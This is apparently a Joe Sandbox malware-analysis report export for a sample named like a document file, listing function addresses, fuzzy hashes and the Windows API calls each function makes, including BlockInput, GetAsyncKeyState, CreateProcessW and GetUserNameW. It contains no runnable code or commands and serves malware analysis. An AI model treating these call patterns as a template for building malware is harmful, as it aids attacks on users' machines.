Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: d7477f593f03bece717a57f79df89c8d7272f373aee3d467641aebe0a360d08c
Instruction ID: 49ea79a2b51424d3c6388c0ab9dbab8c7f677b2595ad57fa28a6fee3cf57169c
Opcode Fuzzy Hash: d7477f593f03bece717a57f79df89c8d7272f373aee3d467641aebe0a360d08c
Instruction Fuzzy Hash: E3E0B672004611EEE7362B64EC09EB6BBEDEF04311B11C82AF59681471DB66AC91DB50

Function 0077F594 Relevance: 3.0, APIs: 2, Instructions: 21nativeCOMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 0077F59C
NtdllDialogWndProc_W.NTDLL(?,00000084,00000000,?,?,0078F3AD,?,?,?,?), ref: 0077F5C6

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: DialogLongNtdllProc_Window
String ID:
API String ID: 2065330234-0
Opcode ID: 58ae72a752ca4f61e566835a916372d6e19d1b52ed91ac9a9b821e2cca13764e
Instruction ID: 2ebf54a9ebd043808a7b7f5ab51d4f9115ef6143a832d9c7c872452856259559
Opcode Fuzzy Hash: 58ae72a752ca4f61e566835a916372d6e19d1b52ed91ac9a9b821e2cca13764e
Instruction Fuzzy Hash: B5E08C30104219BBEB240F09DD0AFB93B18EB00B90F10C526F91A880E0D7B888A1D664

Function 00738E3C Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,0071125D,00737A43,00710F35,?,?,00000001), ref: 00738E41
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 00738E4A

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 7592c6fdfa1f8e8909f1f527733a6450d6a6339c6c6664c92995df50550d1999
Instruction ID: 84a4e863ba457dfa205f58d02949ef4c6014760767f9422db0eb8acd2654d826
Opcode Fuzzy Hash: 7592c6fdfa1f8e8909f1f527733a6450d6a6339c6c6664c92995df50550d1999
Instruction Fuzzy Hash: 11B09271044A08EBEA102BB1EC09B883F68EB0AA63F008012F61D442608B6758528A9A

Function 00723680 Relevance: 2.5, APIs: 1, Instructions: 986COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: BuffCharUpper
String ID:
API String ID: 3964851224-0
Opcode ID: f9e5f676fa9be41776f4e24ef96298acf737d9151fbd3dae0d0222c9fee7c08b
Instruction ID: 4d6b96b50768a57d605dc1b74fad66fab061b050bbbf43d4ba7372dd27aa7ab9
Opcode Fuzzy Hash: f9e5f676fa9be41776f4e24ef96298acf737d9151fbd3dae0d0222c9fee7c08b
Instruction Fuzzy Hash: 7E927970608351DFD724DF18D484B6AB7F1BF88304F14885EE98A8B2A2D779ED85CB52

Function 0074113E Relevance: 1.8, APIs: 1, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7a92c5c9d6197b43a6fc01ebcca310d6540041a1a0ae5cd8dfb4f83142d5d56
Instruction ID: 4113cc3ca314d527a3c28f33e7ca928a0372a27afc73d10766dfe4692417f5ee
Opcode Fuzzy Hash: c7a92c5c9d6197b43a6fc01ebcca310d6540041a1a0ae5cd8dfb4f83142d5d56
Instruction Fuzzy Hash: 9AB1E120E2AF404DD62396398831337B65CAFFB2D5F92D71BFC2A74D22EB2585834184

Function 007802AA Relevance: 1.6, APIs: 1, Instructions: 64nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 0072AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0072AF8E

NtdllDialogWndProc_W.NTDLL(?,00000112,?,?), ref: 00780352

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: DialogLongNtdllProc_Window
String ID:
API String ID: 2065330234-0
Opcode ID: 8318ff762e52ac5edc3de040440770489e8dfdb60c3bc0b1b5a2b7234e6f7375
Instruction ID: 81e6076d47f0e5ac99f6b6ba43d5a0877be6f548c84d2a8389786fe4f0edf613
Opcode Fuzzy Hash: 8318ff762e52ac5edc3de040440770489e8dfdb60c3bc0b1b5a2b7234e6f7375
Instruction Fuzzy Hash: 18112731284255FFEB656B28CC49F793B24EB41760F248319F9215A5E2CAAC8D04D3E9

Function 0077E769 Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 0072B155: GetWindowLongW.USER32(?,000000EB), ref: 0072B166

CallWindowProcW.USER32(?,?,00000020,?,?), ref: 0077E7AF

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Window$CallLongProc
String ID:
API String ID: 4084987330-0
Opcode ID: 1a3f8d21c1d7ad67ec9c5c8430a584c35298b7f042e9dd762b8ac5be5286d5ec
Instruction ID: 87971511a88eda916e95c4623f199b536faabbc47e09ca6d6a4f18fbe195c333
Opcode Fuzzy Hash: 1a3f8d21c1d7ad67ec9c5c8430a584c35298b7f042e9dd762b8ac5be5286d5ec
Instruction Fuzzy Hash: EEF03C31100108FFCF09DF94EC448793BAAEB08360B408565F9198A6A1C73A9D71EB90

Function 0077EA4E Relevance: 1.5, APIs: 1, Instructions: 29nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 0072AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0072AF8E

Part of subcall function 0072B736: GetCursorPos.USER32(000000FF), ref: 0072B749
Part of subcall function 0072B736: ScreenToClient.USER32(00000000,000000FF), ref: 0072B766
Part of subcall function 0072B736: GetAsyncKeyState.USER32(00000001), ref: 0072B78B
Part of subcall function 0072B736: GetAsyncKeyState.USER32(00000002), ref: 0072B799

NtdllDialogWndProc_W.NTDLL(?,00000204,?,?,00000001,?,?,?,0078F417,?,?,?,?,?,00000001,?), ref: 0077EA9C

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: AsyncState$ClientCursorDialogLongNtdllProc_ScreenWindow
String ID:
API String ID: 2356834413-0
Opcode ID: 0c82190f55a57b265b9251c0c4b352ec358cf1e5447fd288c4ee42b5020312e9
Instruction ID: 3662d116af25e41648dbadbce6801c8c53ca389ed51243922f731ecdba7af8a4
Opcode Fuzzy Hash: 0c82190f55a57b265b9251c0c4b352ec358cf1e5447fd288c4ee42b5020312e9
Instruction Fuzzy Hash: 81F0A731100229FBDF14AF59DC09EBA3F65FB04790F408016F90A1A191D77E98B1EBD1

Function 0072B7F2 Relevance: 1.5, APIs: 1, Instructions: 28nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 0072AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0072AF8E

NtdllDialogWndProc_W.NTDLL(?,00000006,?,?,?,?,0072AF40,?,?,?,?,?), ref: 0072B83B

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: DialogLongNtdllProc_Window
String ID:
API String ID: 2065330234-0
Opcode ID: 5832a3d9f15721d9ce63a083ed649e0fc770c0c99eac78b888d33c8193101361
Instruction ID: 1ea7ca8362f6a42023ac61886903c0739b4fd2e0d9cd79399bfc330bebffd0a7
Opcode Fuzzy Hash: 5832a3d9f15721d9ce63a083ed649e0fc770c0c99eac78b888d33c8193101361
Instruction Fuzzy Hash: E3F08230600259EFDB18DF54DC949353BB6FB45370F50822AF9568B2A0D779DC60EB94

Function 0076703C Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 00767057

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: 9d64541e73f87b6c6c4a70ef50d8aad7ce44cbab9c200da7ba8683d3d0846795
Instruction ID: 2745ed5ce4ec0f1026d75d5c57741676f18876f814720503f3909d420e507785
Opcode Fuzzy Hash: 9d64541e73f87b6c6c4a70ef50d8aad7ce44cbab9c200da7ba8683d3d0846795
Instruction Fuzzy Hash: EFE01235204214AFD710ABA9D408A96B7EC9F54790F00C426A945D7251DAB8E9408BA0

Function 0077F3DA Relevance: 1.5, APIs: 1, Instructions: 24nativeCOMMON

Download Yara Rule

APIs

NtdllDialogWndProc_W.NTDLL(?,00000232,?,?), ref: 0077F41A

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: DialogNtdllProc_
String ID:
API String ID: 3239928679-0
Opcode ID: 6b8329ff8d6f04c6feb70116cc41e3b3f83ac464a5e6e6c572ba52d4f82ef137
Instruction ID: b35556073a8dee455780ccf09f20774c3289bfd3a675344e28ee5eb69911d1b5
Opcode Fuzzy Hash: 6b8329ff8d6f04c6feb70116cc41e3b3f83ac464a5e6e6c572ba52d4f82ef137
Instruction Fuzzy Hash: B4F0ED31200288BFCF21DF98CC08FC23BA4FB05360F048059FA14272E1CB746820E764

Function 0072AC99 Relevance: 1.5, APIs: 1, Instructions: 18nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 0072AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0072AF8E

NtdllDialogWndProc_W.NTDLL(?,00000007,?,00000000,00000000,?,?), ref: 0072ACC7

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: DialogLongNtdllProc_Window
String ID:
API String ID: 2065330234-0
Opcode ID: 6df4b1bb4804c177775efd0207e39250c4d1f3644f3a2e18f89a6abbc786a877
Instruction ID: de7996d4be8bd434e22c018fd90dd5e57fd41dcd9747880a28d0072bbce3d0b3
Opcode Fuzzy Hash: 6df4b1bb4804c177775efd0207e39250c4d1f3644f3a2e18f89a6abbc786a877
Instruction Fuzzy Hash: C8E0EC35100208FBCF15AF90DC55E643B36FB49354F508419F6454A2A1CA3AA962EB55

Function 0077F425 Relevance: 1.5, APIs: 1, Instructions: 18nativeCOMMON

Download Yara Rule

APIs

NtdllDialogWndProc_W.NTDLL(?,00000053,?,?,?,0078F3D4,?,?,?,?,?,?), ref: 0077F450

Part of subcall function 0077E13E: _memset.LIBCMT ref: 0077E14D
Part of subcall function 0077E13E: _memset.LIBCMT ref: 0077E15C
Part of subcall function 0077E13E: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,007D3EE0,007D3F24), ref: 0077E18B
Part of subcall function 0077E13E: CloseHandle.KERNEL32 ref: 0077E19D

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: _memset$CloseCreateDialogHandleNtdllProc_Process
String ID:
API String ID: 2364484715-0
Opcode ID: 120b16b65b3cef83a7e98b3f1e0d6a218b59510d6351deefca81b298873fe5a1
Instruction ID: 4d843bbbe263433519437f441695baafab134f4d655ffcb3eb020530f943df19
Opcode Fuzzy Hash: 120b16b65b3cef83a7e98b3f1e0d6a218b59510d6351deefca81b298873fe5a1
Instruction Fuzzy Hash: F7E09231210249EFCF11EF58DD45E9637A6FB08390F41C055FA09572B1C735A961EF55

Function 0077F37C Relevance: 1.5, APIs: 1, Instructions: 14nativeCOMMON

Download Yara Rule

APIs

NtdllDialogWndProc_W.NTDLL ref: 0077F3A1

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: DialogNtdllProc_
String ID:
API String ID: 3239928679-0
Opcode ID: 7d55d277ded1c34454b9cbd6d7ad19d31989f7c28ec71a1532fe58121335e8f0
Instruction ID: bf3e4bf9cf3d3606f0fb52adf0f5092b8a87bc7eb9ee697cb2a3fcf6220301d2
Opcode Fuzzy Hash: 7d55d277ded1c34454b9cbd6d7ad19d31989f7c28ec71a1532fe58121335e8f0
Instruction Fuzzy Hash: 6BE0E23420424CEFCB01DF88D844E863BA5FB1A350F014055FD048B261C771A830EB61

Function 0077F3AB Relevance: 1.5, APIs: 1, Instructions: 14nativeCOMMON

Download Yara Rule

APIs

NtdllDialogWndProc_W.NTDLL ref: 0077F3D0

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: DialogNtdllProc_
String ID:
API String ID: 3239928679-0
Opcode ID: 94ac9fbce110fbb057c0536b32de0343c1078f6ea73fbebce4c1ef5c66b1df20
Instruction ID: c33bce632746b60c6623bce1093a89a5eadc44b458db503616b6587b547c3b44
Opcode Fuzzy Hash: 94ac9fbce110fbb057c0536b32de0343c1078f6ea73fbebce4c1ef5c66b1df20
Instruction Fuzzy Hash: 95E0173420024CEFCB01DFC8D844E863BA5FB1A350F014055FD448B362C772A870EBA1

Function 0072B845 Relevance: 1.5, APIs: 1, Instructions: 14nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 0072AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0072AF8E

Part of subcall function 0072B86E: DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,?,0072B85B), ref: 0072B926
Part of subcall function 0072B86E: KillTimer.USER32(00000000,?,00000000,?,?,?,?,0072B85B,00000000,?,?,0072AF1E,?,?), ref: 0072B9BD

NtdllDialogWndProc_W.NTDLL(?,00000002,00000000,00000000,00000000,?,?,0072AF1E,?,?), ref: 0072B864

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Window$DestroyDialogKillLongNtdllProc_Timer
String ID:
API String ID: 2797419724-0
Opcode ID: 0ff652bbcf5741f2019a9fa82eb52c2278d2a4f2f1f088ea5c0d6b82eee4e09d
Instruction ID: 9bc3ae77e047bb3466f4beb3caf173b94aaa8b9cb3a8225d7f2d13d8c06974be
Opcode Fuzzy Hash: 0ff652bbcf5741f2019a9fa82eb52c2278d2a4f2f1f088ea5c0d6b82eee4e09d
Instruction Fuzzy Hash: 3FD0127214430CB7DB106BA1ED0BF493A1DAB04750F808431F605691E18A79A861A5A9

Function 0078C146 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32 ref: 0078C158

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 5d65fcd87641468af10fbfceb1d5922c41c0d37f7073cd5683b1ca8c4f8ea81d
Instruction ID: b8ec2ff21bfb0d4ab096de6bf000f259e9037d85d8f0751d6cd0b71e452e6013
Opcode Fuzzy Hash: 5d65fcd87641468af10fbfceb1d5922c41c0d37f7073cd5683b1ca8c4f8ea81d
Instruction Fuzzy Hash: 0BC04CB140400DDFC715DB84C9859EFB7BCBB04300F108096A115E1000D7749B459B76

Function 00738E19 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 00738E1F

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
